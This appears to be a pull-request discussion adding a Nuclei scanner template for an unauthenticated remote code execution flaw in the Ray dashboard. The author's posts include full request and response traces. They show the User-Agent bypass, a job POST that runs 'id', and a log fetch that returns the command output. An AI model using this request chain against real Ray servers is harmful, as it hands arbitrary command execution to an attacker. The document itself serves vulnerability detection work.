Add template for CVE-2025-62593 (Ray RCE)

[Tito0015]

Title

Add template for CVE-2025-62593 (Ray RCE)

Closes

#16961

References

#16961

Description

Adding a direct, unauthenticated RCE template for Ray (CVE-2025-62593).

Technical Details

• Bypasses Ray's User-Agent browser-check via User-Agent: Nuclei-Scanner to avoid the 405 Method Not Allowed block.
• Executes a safe id command via POST to /api/jobs/.
• Retrieves execution output via GET /api/jobs/{{jobid}}/logs.
• Template strictly adheres to Nuclei v3 schema (no wait_for delays, matcher blocks defined on all pipeline steps).

Hardened Template Design

• Sets User-Agent: Nuclei-Scanner to bypass Ray's default Mozilla string block (405 Method Not Allowed).
• Zero thread-blocking delays (no wait_for).
• Defined matcher blocks across all pipeline steps.
• Unsigned # digest: line removed for CI pipeline compatibility.

Verification

PDCP Cloud Editor (cloud.projectdiscovery.io)

• Validate (Static Schema Check): Passed with zero schema, key, or indentation errors.
• Debug (Dynamic Execution): Successfully executed in the cloud runtime engine. Confirmed clean 2-step HTTP request execution (POST /api/jobs/ → GET /api/jobs/{{jobid}}/logs), dynamic variable generation ({{jobid}}), and response evaluation without worker thread timeouts or schema crashes.

Local CLI Linter

• nuclei -validate passed with exit code 0.

Verification Checklist

• Tested locally (nuclei -validate exit 0).
• Verified via PDCP Cloud Editor (Static Validation + Debug Runtime Execution).
• Target tested against vulnerable Ray instance.

[Tito0015]

Pushed a reliability fix to handle Ray's async job queue: the logs fetch now includes {{wait_for(3)}} to avoid a race where GET /api/jobs/{{jobid}}/logs returned empty output before the id job completed.

Verified locally against rayproject/ray:2.40.0 (Docker):

• TP: nuclei -t http/cves/2025/CVE-2025-62593.yaml -u http://localhost:8265 → critical match with uid=1000(ray) in logs (~4.5s scan)
• TN: nuclei -t ... -u https://example.com → no results

Commit: 052621aa988 on feature/cve-2025-62593

[ritikchaddha]

Hello @Tito0015,

Thank you for sharing this template. We tried to validate it, but could not find any matches. If you could provide the complete debug data for this template, it would be greatly appreciated.

Thanks!

[Tito0015]

@ritikchaddha — thanks for re-testing. The false negative was a race on async job logs, not a matcher issue.

Root cause: Ray job execution is async. An immediate GET /api/jobs/{{jobid}}/logs returns {"logs": ""} before the worker finishes, so the uid=\d+ regex never fires. The chained request uses Nuclei's ?{{wait_for(3)}} delay primitive (URL becomes ?true after 3s) so the logs poll happens after id output is available.

PR description correction: The body still says "no wait_for" / "zero delays" — that is stale. The YAML on this branch has had wait_for(3) since commit 052621aa; latest commit bf2f50c also sets User-Agent: Nuclei-Scanner on the GET (POST already had it; without it Nuclei sends a Mozilla UA on GET which some Ray builds reject).

Updated GET snippet:

GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Nuclei-Scanner

Lab: rayproject/ray:2.40.0, dashboard --dashboard-host=0.0.0.0:8265, Nuclei v3.11.1, target http://127.0.0.1:8265

Debug trace (nuclei -debug-req -debug-resp):

POST /api/jobs/:

POST /api/jobs/ HTTP/1.1
Host: 127.0.0.1:8265
User-Agent: Nuclei-Scanner
Content-Type: application/json

{"entrypoint":"id","submission_id":"Job_HRNBRG"}

→ 200 {"job_id": "Job_HRNBRG", "submission_id": "Job_HRNBRG"}

GET /api/jobs/Job_HRNBRG/logs?true (after 3s wait):

GET /api/jobs/Job_HRNBRG/logs?true HTTP/1.1
Host: 127.0.0.1:8265
User-Agent: Nuclei-Scanner

→ 200 {"logs": "...uid=1000(ray) gid=100(users) groups=100(users),27(sudo)\n"}

Result: [CVE-2025-62593] [http] [critical] — 2 matches, scan completed in ~5.7s.

[Tito0015]

Hi @ritikchaddha , gentle ping when you have a moment.
Happy to adjust anything else you need — thanks for the review and for approving the workflow when convenient.